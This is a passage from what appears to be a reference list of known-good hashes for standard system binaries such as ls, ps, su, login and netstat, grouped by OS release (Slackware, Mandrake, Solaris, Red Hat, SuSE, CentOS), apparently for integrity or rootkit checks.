Apr 30 04:35:23 2007 /usr/sbin/in.tftpd [Slackware 12.2] +955B068F67220009F83898C85F84EC3540C92056 Mon Apr 30 04:35:12 2007 /bin/telnet [Slackware 12.2] +2682229AB42DD9FDB021EAA8B09AA2E9017D7818 Tue Jun 5 02:44:45 2007 /usr/bin/find [Slackware 12.2] +7A3B75A68497E18A37785B01058E4D1640ACBC1E Mon Mar 24 20:11:29 2008 /bin/su [Slackware 12.2] +1D1E3EDCAA3532F1FDAB35754E41E641A164E3BB Mon Mar 24 20:11:29 2008 /bin/login [Slackware 12.2] +75E1BE448DDB648B28CA30A869EA252DDAB079C7 Tue Apr 1 04:10:11 2008 /sbin/arp [Slackware 12.2] +8157C87589ADDA8E5D6835BC5350F57E384F779A Tue Apr 1 04:10:11 2008 /bin/netstat [Slackware 12.2] +FEDDC08C86401BFAF55AC6C7A6B7F85B54F2063B Sun Sep 21 03:18:56 2008 /bin/rm [Slackware 12.2] +6E428E7EA5D797DCCF3B3402B579C42110D4886A Sun Sep 21 03:18:56 2008 /bin/ls [Slackware 12.2] +26E644754720D4D9DF3445E2862420593621B08C Wed Oct 8 21:48:04 2008 /usr/sbin/vsftpd [Slackware 12.2] +855B67939F08D1CAB4ACCB607860D20470676ED4 Wed Oct 22 05:04:25 2008 /sbin/modinfo [Slackware 12.2] +7537FAEDCB834387F0EC1B3A301FBE8B58EE9DE6 Tue Nov 11 22:49:28 2008 /usr/sbin/obexftpd [Slackware 12.2] +09873A4DC9C0FF97A51F5F7A0601116AE0A11AF3 Fri Nov 14 23:45:09 2008 /usr/sbin/proftpd [Slackware 12.2] +89549B289527F571D9B8E65185A17F45CBF7EB94 Thu May 10 22:19:33 2007 /bin/sh [Slackware 12.2] +6E428E7EA5D797DCCF3B3402B579C42110D4886A Sun Sep 21 03:18:56 2008 /usr/bin/ls [Slackware 12.2] +FEDDC08C86401BFAF55AC6C7A6B7F85B54F2063B Sun Sep 21 03:18:56 2008 /usr/bin/rm [Slackware 12.2] +E3C3C72A12AA36C26B1BA11BC974BF8DBB720457 Wed Dec 20 00:07:25 2006 /usr/bin/ps [Slackware 12.2] +09873A4DC9C0FF97A51F5F7A0601116AE0A11AF3 Fri Nov 14 23:45:09 2008 /usr/sbin/in.proftpd [Slackware 12.2] + +52F4894C7EC7726691FADCF5D852C218E80BF1BB Mon Apr 14 10:18:35 2003 /usr/bin/login [Mandrake 9.2] +722F5F5CFA486934DEE9F7AD2E16CABD6ADA7E22 Wed Jul 23 18:40:57 2003 /sbin/arp [Mandrake 9.2] +DB99404B6D59871FC1891C6E56B2B7D35123C9A4 Wed Jul 23 18:40:57 2003 /bin/netstat [Mandrake 9.2] +FA53A6041F65D0DCADD188BB29846FCE6CBFC12D Sun Aug 3 21:31:40 2003 /bin/su [Mandrake 9.2] +269E201489864EC607B940F36A0EFA0F72CE76F9 Sun Aug 3 21:31:40 2003 /bin/rm [Mandrake 9.2] +0B501D2B977FEF0088FEDF11DBE749FC605053FF Sun Aug 3 21:31:40 2003 /bin/ls [Mandrake 9.2] +D88129931EE0ED1D16ACDBF5C2916F60DD2CD571 Mon Aug 4 20:23:59 2003 /bin/ps [Mandrake 9.2] +886749A4DD400447014994CF41725259085BD734 Mon Aug 4 20:23:59 2003 /usr/bin/w [Mandrake 9.2] +1A6DDD9F3784061F6DE3CE50A130115A142816BC Thu Aug 7 22:24:14 2003 /usr/sbin/proftpd [Mandrake 9.2] +7F6B6919D6FC6B4068370E73092739974D59358A Thu Aug 14 12:26:37 2003 /bin/login [Mandrake 9.2] +92F8FC3E9117F233803512467AB5177E56C7EE56 Mon Aug 18 16:28:06 2003 /bin/find [Mandrake 9.2] +66DD933F3016335A3EF9CB79A410453BAE5D0F4B Wed Sep 3 08:45:34 2003 /usr/bin/telnet [Mandrake 9.2] +002FC72FD425F78AE50BE909406925D365771DF0 Mon Jul 7 16:01:35 2003 /bin/sh [Mandrake 9.2] +92F8FC3E9117F233803512467AB5177E56C7EE56 Mon Aug 18 16:28:06 2003 /usr/bin/find [Mandrake 9.2] +21202144A414DB48BF4375C91469F48ACD637964 Fri Aug 29 14:21:05 2003 /sbin/modinfo [Mandrake 9.2] +4C593EF78D4CB4A5B9A74A51803FEAAABF78FC65 Tue Jul 15 21:14:36 2003 /usr/sbin/xinetd [Mandrake 9.2] +1A6DDD9F3784061F6DE3CE50A130115A142816BC Thu Aug 7 22:24:14 2003 /usr/sbin/in.ftpd [Mandrake 9.2] +1A6DDD9F3784061F6DE3CE50A130115A142816BC Thu Aug 7 22:24:14 2003 /usr/sbin/in.proftpd [Mandrake 9.2] + +570892D29E2841BE4A4CE2DCB4BC82765E725330 Sat Apr 6 22:48:57 2002 /bin/find [Solaris 2.9 Generic_122300-57] +570892D29E2841BE4A4CE2DCB4BC82765E725330 Sat Apr 6 22:48:57 2002 /usr/bin/find [Solaris 2.9 Generic_122300-57] +9734B51596B23BC737BACD9B5B92995E3D9F29BD Sat Apr 6 22:54:41 2002 /bin/ls [Solaris 2.9 Generic_122300-57] +9734B51596B23BC737BACD9B5B92995E3D9F29BD Sat Apr 6 22:54:41 2002 /usr/bin/ls [Solaris 2.9 Generic_122300-57] +BB95633DAE430C11071602962D09624C1D7EE943 Sat Apr 6 22:55:34 2002 /usr/bin/sparcv9/ls [Solaris 2.9 Generic_122300-57] +34174F5C3EF0844676AEC8751A41C39968633E5C Sat Apr 6 22:59:18 2002 /usr/sbin/modinfo [Solaris 2.9 Generic_122300-57] +D420D0D50AE151063A670D3B025D90CA0A08117D Sat Apr 6 23:02:03 2002 /usr/sbin/arp [Solaris 2.9 Generic_122300-57] +1A47EE8059E33D1BF8C062320FA60AEDB69C47D2 Sat Apr 6 23:02:06 2002 /usr/sbin/in.rlogind [Solaris 2.9 Generic_122300-57] +AF56C1CE8765671A069F417B4B50088EE219B05A Sat Apr 6 23:02:06 2002 /usr/sbin/in.rshd [Solaris 2.9 Generic_122300-57] +950715ABC9A55EAB0281DC0653ECD10D59DAEB50 Sat Apr 6 23:26:46 2002 /usr/ucb/ls [Solaris 2.9 Generic_122300-57] +11D4BCBE80378D06231A08CA862751F04BA5A081 Thu May 23 20:32:30 2002 /bin/netstat [Solaris 2.9 Generic_122300-57] +11D4BCBE80378D06231A08CA862751F04BA5A081 Thu May 23 20:32:30 2002 /usr/bin/netstat [Solaris 2.9 Generic_122300-57] +0AA8C6ABE3810F5B8CF26A40306358C04CE843DF Mon Dec 9 20:55:56 2002 /usr/sbin/in.tftpd [Solaris 2.9 Generic_122300-57] +25F7FC99B5B0F01A6AA1A0D7B2B495330C4C2E99 Thu Mar 6 04:37:19 2003 /usr/sbin/in.telnetd [Solaris 2.9 Generic_122300-57] +CAEC4FCB85518991F772011CC50CDAE80260FB56 Mon Sep 8 06:47:36 2003 /usr/bin/sparcv7/ps [Solaris 2.9 Generic_122300-57] +800DBC8FB83CB036CED9E17835C8DE45386894E4 Mon Sep 8 06:47:36 2003 /usr/bin/sparcv9/ps [Solaris 2.9 Generic_122300-57] +C948A5D3E921353B832078BF42BD3397FBFCB118 Tue Nov 4 21:59:32 2003 /bin/ps [Solaris 2.9 Generic_122300-57] +C948A5D3E921353B832078BF42BD3397FBFCB118 Tue Nov 4 21:59:32 2003 /bin/w [Solaris 2.9 Generic_122300-57] +C948A5D3E921353B832078BF42BD3397FBFCB118 Tue Nov 4 21:59:32 2003 /usr/bin/ps [Solaris 2.9 Generic_122300-57] +C948A5D3E921353B832078BF42BD3397FBFCB118 Tue Nov 4 21:59:32 2003 /usr/bin/w [Solaris 2.9 Generic_122300-57] +C948A5D3E921353B832078BF42BD3397FBFCB118 Tue Nov 4 21:59:32 2003 /usr/ucb/ps [Solaris 2.9 Generic_122300-57] +5C447935AD0E85CA9D1A98E2600A2D376619290E Fri Mar 25 23:15:29 2005 /bin/telnet [Solaris 2.9 Generic_122300-57] +5C447935AD0E85CA9D1A98E2600A2D376619290E Fri Mar 25 23:15:29 2005 /usr/bin/telnet [Solaris 2.9 Generic_122300-57] +2C626604616B384F27AB7D365886EC938590585D Fri Dec 22 18:19:51 2006 /bin/rm [Solaris 2.9 Generic_122300-57] +2C626604616B384F27AB7D365886EC938590585D Fri Dec 22 18:19:51 2006 /usr/bin/rm [Solaris 2.9 Generic_122300-57] +F377D6A27913141B0DA0C0662C528EAF39E52FA2 Tue Sep 14 15:23:59 2010 /sbin/su [Solaris 2.9 Generic_122300-57] +C948A5D3E921353B832078BF42BD3397FBFCB118 Tue Nov 4 21:59:32 2003 /usr/ucb/w [Solaris 2.9 Generic_122300-57] +5C447935AD0E85CA9D1A98E2600A2D376619290E Fri Mar 25 23:15:29 2005 /usr/ucb/telnet [Solaris 2.9 Generic_122300-57] +11D4BCBE80378D06231A08CA862751F04BA5A081 Thu May 23 20:32:30 2002 /usr/ucb/netstat [Solaris 2.9 Generic_122300-57] +7327B91B54D00D04DDFA297300C19B6B3215D65C Thu Jul 16 19:44:13 2009 /sbin/sh [Solaris 2.9 Generic_122300-57] +1CD7180A217D075BFFD7DDC73EDCCED26F51877F Thu Jul 16 19:44:14 2009 /bin/sh [Solaris 2.9 Generic_122300-57] +1CD7180A217D075BFFD7DDC73EDCCED26F51877F Thu Jul 16 19:44:14 2009 /usr/bin/sh [Solaris 2.9 Generic_122300-57] +DB18BBEEAE84057CE17058EA530840B420726984 Thu Oct 15 18:52:12 2009 /usr/bin/sparcv7/w [Solaris 2.9 Generic_122300-57] +E96A134867CBBAC9DF581173F1C96D7D1C587DA1 Thu Oct 15 18:52:13 2009 /usr/bin/sparcv9/w [Solaris 2.9 Generic_122300-57] +07B709EDFB80A465C801ACA888BE558C30919CFB Fri Feb 19 00:43:48 2010 /bin/login [Solaris 2.9 Generic_122300-57] +07B709EDFB80A465C801ACA888BE558C30919CFB Fri Feb 19 00:43:48 2010 /usr/bin/login [Solaris 2.9 Generic_122300-57] +F377D6A27913141B0DA0C0662C528EAF39E52FA2 Tue Sep 14 15:23:59 2010 /bin/su [Solaris 2.9 Generic_122300-57] +F377D6A27913141B0DA0C0662C528EAF39E52FA2 Tue Sep 14 15:23:59 2010 /usr/bin/su [Solaris 2.9 Generic_122300-57] +6DF004818689E5F2B051DBEA2AC61548650DCB86 Tue Nov 16 14:30:17 2010 /usr/sbin/in.ftpd [Solaris 2.9 Generic_122300-57] +1DB5844141456D33DFCA29715A95DC10CED5A7D0 Wed Feb 16 13:35:34 2011 /usr/sbin/inetd [Solaris 2.9 Generic_122300-57] + +D3FB51754D2B898A2217F6BCFB79F7D1D9A50D67 Wed Jan 5 23:51:20 2000 /bin/ps [Solaris 2.8 Generic_127721-03] +D3FB51754D2B898A2217F6BCFB79F7D1D9A50D67 Wed Jan 5 23:51:20 2000 /bin/w [Solaris 2.8 Generic_127721-03] +D3FB51754D2B898A2217F6BCFB79F7D1D9A50D67 Wed Jan 5 23:51:20 2000 /usr/bin/ps [Solaris 2.8 Generic_127721-03] +D3FB51754D2B898A2217F6BCFB79F7D1D9A50D67 Wed Jan 5 23:51:20 2000 /usr/bin/w [Solaris 2.8 Generic_127721-03] +D3FB51754D2B898A2217F6BCFB79F7D1D9A50D67 Wed Jan 5 23:51:20 2000 /usr/ucb/ps [Solaris 2.8 Generic_127721-03] +37C4C703D48470CA5F2E87C45BE4303DF9535486 Wed Jan 5 23:57:54 2000 /bin/ls [Solaris 2.8 Generic_127721-03] +37C4C703D48470CA5F2E87C45BE4303DF9535486 Wed Jan 5 23:57:54 2000 /usr/bin/ls [Solaris 2.8 Generic_127721-03] +7005902DED0729B0D8FD779776C9960E1D325B55 Wed Jan 5 23:58:41 2000 /usr/bin/sparcv9/ls [Solaris 2.8 Generic_127721-03] +72D4298093B2D3462B845B9D02C510E929D8BCCC Wed Jan 5 23:59:21 2000 /usr/sbin/modinfo [Solaris 2.8 Generic_127721-03] +067E63DE5F6214676CB4365B52D595945AE97407 Thu Jan 6 00:01:56 2000 /usr/sbin/arp [Solaris 2.8 Generic_127721-03] +13D6EF6B6BFD3CB7504B85268E60D065718DCF79 Thu Jan 6 00:01:58 2000 /usr/sbin/in.rlogind [Solaris 2.8 Generic_127721-03] +A6B18856F46CA11062DF0ED3AB5703F954ECC676 Thu Jan 6 00:25:47 2000 /usr/bin/sparcv7/w [Solaris 2.8 Generic_127721-03] +323BE0CD635205AC53B69E6881C965C35E84DB5E Thu Jan 6 00:26:03 2000 /usr/bin/sparcv9/w [Solaris 2.8 Generic_127721-03] +CBE9EB8E6B177427966B1A90D64FDAF2AABF388B Thu Jan 6 00:32:28 2000 /usr/ucb/ls [Solaris 2.8 Generic_127721-03] +A8A04A41CAB387985D5333B245455E5DFD3A1F88 Thu May 24 23:55:57 2001 /usr/sbin/in.rshd [Solaris 2.8 Generic_127721-03] +CB668D194216860242216761C4917D47C9B777C0 Fri Jul 27 21:11:44 2001 /bin/find [Solaris 2.8 Generic_127721-03] +CB668D194216860242216761C4917D47C9B777C0 Fri Jul 27 21:11:44 2001 /usr/bin/find [Solaris 2.8 Generic_127721-03] +549FE73629FEB57ADBE490E7EDBE61D30CB04A65 Tue Jan 6 19:44:10 2004 /bin/netstat [Solaris 2.8 Generic_127721-03] +549FE73629FEB57ADBE490E7EDBE61D30CB04A65 Tue Jan 6 19:44:10 2004 /usr/bin/netstat [Solaris 2.8 Generic_127721-03] +D3D7A2DD9825C98D3FD241122F373327A03BBE7E Sat Mar 26 03:42:12 2005 /usr/sbin/in.telnetd [Solaris 2.8 Generic_127721-03] +88AFB1BF89576D4ED1E35F0FD8C1D2650A8AC85F Sat Mar 26 03:42:12 2005 /bin/telnet [Solaris 2.8 Generic_127721-03] +88AFB1BF89576D4ED1E35F0FD8C1D2650A8AC85F Sat Mar 26 03:42:12 2005 /usr/bin/telnet [Solaris 2.8 Generic_127721-03] +F03B7A36BB1FFF5FB22F04D9C8A7D115A59CA723 Sun Jan 14 18:55:41 2007 /bin/rm [Solaris 2.8 Generic_127721-03] +F03B7A36BB1FFF5FB22F04D9C8A7D115A59CA723 Sun Jan 14 18:55:41 2007 /usr/bin/rm [Solaris 2.8 Generic_127721-03] +E8130AFC15EDD9DAB7FEB88FAF1B60FC101D6EEE Thu Mar 22 15:44:09 2007 /usr/bin/sparcv7/ps [Solaris 2.8 Generic_127721-03] +35F8C367F8D20870C63C4B539750E94A0DEBE64B Thu Mar 22 15:44:09 2007 /usr/bin/sparcv9/ps [Solaris 2.8 Generic_127721-03] +A3138279F8A9AB24F572D91D8306DCEB6F7E6B50 Mon Jun 11 16:56:41 2007 /usr/sbin/in.ftpd [Solaris 2.8 Generic_127721-03] +A37F4C91A16FC3550C36CC7B0B48DAC25943EC54 Fri Feb 13 22:38:34 2009 /sbin/su [Solaris 2.8 Generic_127721-03] +D3FB51754D2B898A2217F6BCFB79F7D1D9A50D67 Wed Jan 5 23:51:20 2000 /usr/ucb/w [Solaris 2.8 Generic_127721-03] +88AFB1BF89576D4ED1E35F0FD8C1D2650A8AC85F Sat Mar 26 03:42:12 2005 /usr/ucb/telnet [Solaris 2.8 Generic_127721-03] +549FE73629FEB57ADBE490E7EDBE61D30CB04A65 Tue Jan 6 19:44:10 2004 /usr/ucb/netstat [Solaris 2.8 Generic_127721-03] +15EE04241933197D6C441463D346101447454A87 Tue Apr 8 18:22:52 2008 /sbin/sh [Solaris 2.8 Generic_127721-03] +650FEAD4F2388D7C07BF47EC4BEAEE6B4AF524D6 Tue Apr 8 18:22:52 2008 /bin/sh [Solaris 2.8 Generic_127721-03] +650FEAD4F2388D7C07BF47EC4BEAEE6B4AF524D6 Tue Apr 8 18:22:52 2008 /usr/bin/sh [Solaris 2.8 Generic_127721-03] +8E2FE6165F4AAA354AC91D4DB54EC25E5BC3AE0C Tue Jul 8 15:37:27 2008 /usr/sbin/in.tftpd [Solaris 2.8 Generic_127721-03] +68867C11C7708122935BD117C22EF3AFC5CC3110 Fri Feb 13 22:38:33 2009 /bin/login [Solaris 2.8 Generic_127721-03] +68867C11C7708122935BD117C22EF3AFC5CC3110 Fri Feb 13 22:38:33 2009 /usr/bin/login [Solaris 2.8 Generic_127721-03] +A37F4C91A16FC3550C36CC7B0B48DAC25943EC54 Fri Feb 13 22:38:34 2009 /bin/su [Solaris 2.8 Generic_127721-03] +A37F4C91A16FC3550C36CC7B0B48DAC25943EC54 Fri Feb 13 22:38:34 2009 /usr/bin/su [Solaris 2.8 Generic_127721-03] +C0F7BCEB0FCFA44DE9C2687CD2B94C98444ED581 Thu Mar 12 21:35:15 2009 /usr/sbin/inetd [Solaris 2.8 Generic_127721-03] + +C3E45676811E9AA0E356146E55BBED7784F06AD8 Wed Dec 6 15:13:07 2006 /usr/sbin/xinetd [RedHat Enterprise 5.5 x86_64] +1FD4FD4DF3CB3B325AFFCE62705F3F2726DFD7C4 Wed Oct 24 14:05:10 2007 /usr/bin/telnet [RedHat Enterprise 5.5 x86_64] +748CECD7B02E6957D932BA90F7D990A8F1FD0A73 Tue May 19 13:50:46 2009 /usr/sbin/in.tftpd [RedHat Enterprise 5.5 x86_64] +0A3503F446248683BE2703D8EEA27CA25A67F1F2 Tue Jul 14 10:31:43 2009 /usr/bin/find [RedHat Enterprise 5.5 x86_64] +D2F14175B62192186F706E193FD0EB7C31CD962E Thu Nov 19 14:21:03 2009 /sbin/arp [RedHat Enterprise 5.5 x86_64] +59F5D0DAA4EC04BB4CA8C5FF5D1F1195B26C686E Thu Nov 19 14:21:03 2009 /bin/netstat [RedHat Enterprise 5.5 x86_64] +0F305BCBBC9561BC47AD01F22A38F44964622827 Tue Dec 15 19:36:55 2009 /sbin/modinfo [RedHat Enterprise 5.5 x86_64] +A560799A944C6CFE572A3F683031F8206812DFF3 Thu Jan 7 10:25:51 2010 /bin/login [RedHat Enterprise 5.5 x86_64] +05FE6696D113C606F62191BB30C7F435AF029025 Tue Feb 9 09:59:28 2010 /usr/bin/w [RedHat Enterprise 5.5 x86_64] +BA88642C5DED9BD53E00E1B7DBB7058707DFEEA9 Tue Feb 9 09:59:28 2010 /bin/ps [RedHat Enterprise 5.5 x86_64] +F02C9A43F7682CC89D0ACCDDFEAE26CF9AB28299 Tue Feb 23 09:53:57 2010 /bin/su [RedHat Enterprise 5.5 x86_64] +F4F6EC2D52984D5FAE013F34BE3BCDC931A59636 Tue Feb 23 09:54:02 2010 /bin/rm [RedHat Enterprise 5.5 x86_64] +2234D4656C881EA863D032809B52A3171DDCEF86 Tue Feb 23 09:54:02 2010 /bin/ls [RedHat Enterprise 5.5 x86_64] +7CE222EE5310BC2D3164A23A87CBCB90C4A67CDB Tue Oct 21 12:13:18 2008 /bin/sh [RedHat Enterprise 5.5 x86_64] + +653F929CFB6DD275736B887C5D6C460D437A9650 Sat Feb 21 01:23:19 2009 /usr/bin/telnet [SuSE Enterprise 11.1 x86_64] +8985A2CB3E370CE2872555A7A991C7D8590D1DF7 Sat Feb 21 07:45:58 2009 /usr/bin/opieftpd [SuSE Enterprise 11.1 x86_64] +8A48A0454A1AB0B75F7ADC11BF4B9C7402EE17B0 Sat Feb 21 07:49:50 2009 /bin/su [SuSE Enterprise 11.1 x86_64] +4B0FC111479E3EAA04AD959BCC4A37B2E72273D2 Sat Feb 21 07:49:50 2009 /bin/rm [SuSE Enterprise 11.1 x86_64] +F73A500A96B63BC0B720C21AAC72B0C63589F03F Sat Feb 21 07:49:50 2009 /bin/ls [SuSE Enterprise 11.1 x86_64] +6B3F64E95EEEAEA23CF5B36E649C64F4AF94F5DB Wed May 5 13:59:15 2010 /sbin/modinfo [SuSE Enterprise 11.1 x86_64] +EA2317DA923E34CA431C6E4266DF37C4A4AA9640 Wed May 5 14:01:33 2010 /usr/bin/find [SuSE Enterprise 11.1 x86_64] +BEEAB7307CC9B415581C60B12EF08E634A198998 Wed May 5 14:02:41 2010 /usr/bin/w [SuSE Enterprise 11.1 x86_64] +DB3A42F99442B3CFFA83541FFE7EE4E685850B66 Wed May 5 14:02:41 2010 /bin/ps [SuSE Enterprise 11.1 x86_64] +9168D1477DCC15F20A94E7472A7316C838FA9E03 Wed May 5 14:03:34 2010 /sbin/arp [SuSE Enterprise 11.1 x86_64] +3199CC970AF6BE3D23A48D726D4DBE2208BF56A6 Wed May 5 14:03:34 2010 /bin/netstat [SuSE Enterprise 11.1 x86_64] +3A66D9D9FEBA2C79081293F8EEE99A2A03381BEC Wed May 5 14:08:18 2010 /usr/sbin/xinetd [SuSE Enterprise 11.1 x86_64] +0E8AAD78A1AF5CEE13F761A08A2511C76B688253 Sat May 8 09:35:29 2010 /bin/login [SuSE Enterprise 11.1 x86_64] +A5BD0049BF6B6DF94565089EA7B2E74DC08577D4 Wed May 5 14:02:20 2010 /bin/sh [SuSE Enterprise 11.1 x86_64] +A5BD0049BF6B6DF94565089EA7B2E74DC08577D4 Wed May 5 14:02:20 2010 /usr/bin/sh [SuSE Enterprise 11.1 x86_64] +245C64AB0E7D074B2BA9460EA687EBBA116F2F60 Wed May 5 14:08:18 2010 /usr/sbin/rcxinetd [SuSE Enterprise 11.1 x86_64] + +1712E39DC94B53300FE64CEB0AA68DC701F0E65C Sun Jan 23 01:29:11 2005 /usr/ucb/ls [Solaris 2.10 Generic_127127-11] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /bin/login [Solaris 2.10 Generic_127127-11] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /usr/bin/login [Solaris 2.10 Generic_127127-11] +28DA2190D32FA5CD6D98ED027BCB1A3300DFBBF3 Sun Jan 23 01:48:13 2005 /usr/bin/sparcv9/w [Solaris 2.10 Generic_127127-11] +97FC02858FEBC1A825229662492EF8FB1844832F Sun Jan 23 01:48:44 2005 /usr/sbin/sparcv9/modinfo [Solaris 2.10 Generic_127127-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/ps [Solaris 2.10 Generic_127127-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/w [Solaris 2.10 Generic_127127-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/ps [Solaris 2.10 Generic_127127-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/w [Solaris 2.10 Generic_127127-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/sbin/modinfo [Solaris 2.10 Generic_127127-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/ps [Solaris 2.10 Generic_127127-11] +D40185C7CD0B410E40D08B7FCB7739BE6ACA6601 Sun Jan 23 02:21:25 2005 /usr/sbin/in.tftpd [Solaris 2.10 Generic_127127-11] +718E99FBACB8211B13D39B3D4E9EC965A523097C Tue May 24 23:40:26 2005 /bin/su [Solaris 2.10 Generic_127127-11] +718E99FBACB8211B13D39B3D4E9EC965A523097C Tue May 24 23:40:26 2005 /usr/bin/su [Solaris 2.10 Generic_127127-11] +B9E23B1A737E898C1ADFDFBD5D0F077E4B0B1ED0 Fri Apr 28 20:26:49 2006 /bin/ls [Solaris 2.10 Generic_127127-11] +B9E23B1A737E898C1ADFDFBD5D0F077E4B0B1ED0 Fri Apr 28 20:26:49 2006 /usr/bin/ls [Solaris 2.10 Generic_127127-11] +22E2CCB085D982AD731E643544541855F2ABACA6 Fri Apr 28 20:26:49 2006 /bin/find [Solaris 2.10 Generic_127127-11] +22E2CCB085D982AD731E643544541855F2ABACA6 Fri Apr 28 20:26:49 2006 /usr/bin/find [Solaris 2.10 Generic_127127-11] +4989A29E7D2FC088766950845F9CA3044866BD1C Fri Apr 28 20:26:49 2006 /usr/bin/sparcv9/ls [Solaris 2.10 Generic_127127-11] +DE36A12846CC42C1E098A40549A3EF4ECDA1C868 Thu May 4 22:09:10 2006 /usr/bin/sparcv9/ps [Solaris 2.10 Generic_127127-11] +AE49A40B4B87DCB3BD6C4FEEA13C5996E65DB8D9 Wed Oct 18 17:41:37 2006 /sbin/sh [Solaris 2.10 Generic_127127-11] +7184C11C7654EDDA4D8656B4204E53397E3A1348 Tue May 1 23:37:28 2007 /bin/rm [Solaris 2.10 Generic_127127-11] +7184C11C7654EDDA4D8656B4204E53397E3A1348 Tue May 1 23:37:28 2007 /usr/bin/rm [Solaris 2.10 Generic_127127-11] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /bin/netstat [Solaris 2.10 Generic_127127-11] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /usr/bin/netstat [Solaris 2.10 Generic_127127-11] +CA74D0528EDC62004E1012031CD7DFDE6B4F9077 Thu Aug 16 17:23:00 2007 /usr/sbin/arp [Solaris 2.10 Generic_127127-11] +DE1C87DE0794F44A7DDB16E1BF256D366218CB32 Mon Sep 17 19:06:34 2007 /usr/sbin/in.ftpd [Solaris 2.10 Generic_127127-11] +F9F01D43C2C29597F03F980D0EF1D914A1E60D6F Mon Apr 7 23:09:47 2008 /usr/sbin/in.telnetd [Solaris 2.10 Generic_127127-11] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /bin/telnet [Solaris 2.10 Generic_127127-11] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /usr/bin/telnet [Solaris 2.10 Generic_127127-11] +0249DF8DAF81051E46862459152FAB469CBEFB97 Mon Apr 7 23:13:46 2008 /usr/sbin/in.rlogind [Solaris 2.10 Generic_127127-11] +607C0342F077A6FD049145627389AA235A8AAA58 Mon Apr 7 23:13:46 2008 /usr/sbin/in.rshd [Solaris 2.10 Generic_127127-11] +AE49A40B4B87DCB3BD6C4FEEA13C5996E65DB8D9 Wed Oct 18 17:41:37 2006 /bin/sh [Solaris 2.10 Generic_127127-11] +AE49A40B4B87DCB3BD6C4FEEA13C5996E65DB8D9 Wed Oct 18 17:41:37 2006 /usr/bin/sh [Solaris 2.10 Generic_127127-11] +201BA78CB4D1F9F029C66BE99395AC236D92BE9B Mon Apr 7 23:16:44 2008 /usr/sbin/inetd [Solaris 2.10 Generic_127127-11] +718E99FBACB8211B13D39B3D4E9EC965A523097C Tue May 24 23:40:26 2005 /sbin/su [Solaris 2.10 Generic_127127-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/w [Solaris 2.10 Generic_127127-11] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /usr/ucb/telnet [Solaris 2.10 Generic_127127-11] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /usr/ucb/netstat [Solaris 2.10 Generic_127127-11] + +534D354DC1F0581E8834D00B8F977FD99449DDFF Sun Jan 7 12:20:15 2007 /usr/bin/find [CentOS 5.2 x86_64] +C84F18C9DC7FA44291CE72FF55D56FD05D32E3DA Sat Dec 1 09:10:50 2007 /usr/bin/telnet [CentOS 5.2 x86_64] +E5085AA289911B515AED42DC50EE9FB97456A2A5 Sat May 24 15:31:16 2008 /bin/su [CentOS 5.2 x86_64] +DB2AFCA1FCECF12761DEFEFA85AA76A3C4EFB1CA Sat May 24 15:31:19 2008 /bin/rm [CentOS 5.2 x86_64] +1DB7B7575F570A8F87BDF5963EA687B0D6180350 Sat May 24 15:31:19 2008 /bin/ls [CentOS 5.2 x86_64] +3EE2027FDFBFF023F4C0E03664B1D45527E4A1C5 Sat May 24 16:42:16 2008 /usr/bin/w [CentOS 5.2 x86_64] +CDA4DD5A205FB0DA1BF385C433C9129CCD8E2937 Sat May 24 16:42:16 2008 /bin/ps [CentOS 5.2 x86_64] +839726029C480E41F8799692D54FA337EE1CFB71 Sat May 24 19:41:12 2008 /sbin/modinfo [CentOS 5.2 x86_64] +2A6D4C00374DF6E4A2636279E185E014C8D51E50 Sat May 24 23:13:51 2008 /bin/login [CentOS 5.2 x86_64] +AF576DB6272BEF1598FB5DF80DE26EB8768C5844 Sun May 25 06:26:25 2008 /sbin/arp [CentOS 5.2 x86_64] +99EEA5EA4CDDD58EF45E34CEBDF84BF7EBED2DE7 Sun May 25 06:26:25 2008 /bin/netstat [CentOS 5.2 x86_64] +A2D662DDF317214CA7F356221089BF69CA384118 Sat May 24 21:18:31 2008 /bin/sh [CentOS 5.2 x86_64] + +D3FB51754D2B898A2217F6BCFB79F7D1D9A50D67 Wed Jan 5 23:51:20 2000 /bin/ps [Solaris 2.8 Generic] +D3FB51754D2B898A2217F6BCFB79F7D1D9A50D67 Wed Jan 5 23:51:20 2000 /bin/w [Solaris 2.8 Generic] +D3FB51754D2B898A2217F6BCFB79F7D1D9A50D67 Wed Jan 5 23:51:20 2000 /usr/bin/ps [Solaris 2.8 Generic] +D3FB51754D2B898A2217F6BCFB79F7D1D9A50D67 Wed Jan 5 23:51:20 2000 /usr/bin/w [Solaris 2.8 Generic] +D3FB51754D2B898A2217F6BCFB79F7D1D9A50D67 Wed Jan 5 23:51:20 2000 /usr/ucb/ps [Solaris 2.8 Generic] +F5023BF304DB8A9E22F78B40C800843ED3FAFA8D Wed Jan 5 23:53:54 2000 /usr/sbin/in.ftpd [Solaris 2.8 Generic] +107624189ABABB46992E2A5B436BC739F34F5CDE Wed Jan 5 23:54:36 2000 /bin/find [Solaris 2.8 Generic] +107624189ABABB46992E2A5B436BC739F34F5CDE Wed Jan 5 23:54:36 2000 /usr/bin/find [Solaris 2.8 Generic] +B23D4EE9FF0E9CBB9738D612BAB8847A46C73BAD Wed Jan 5 23:57:23 2000 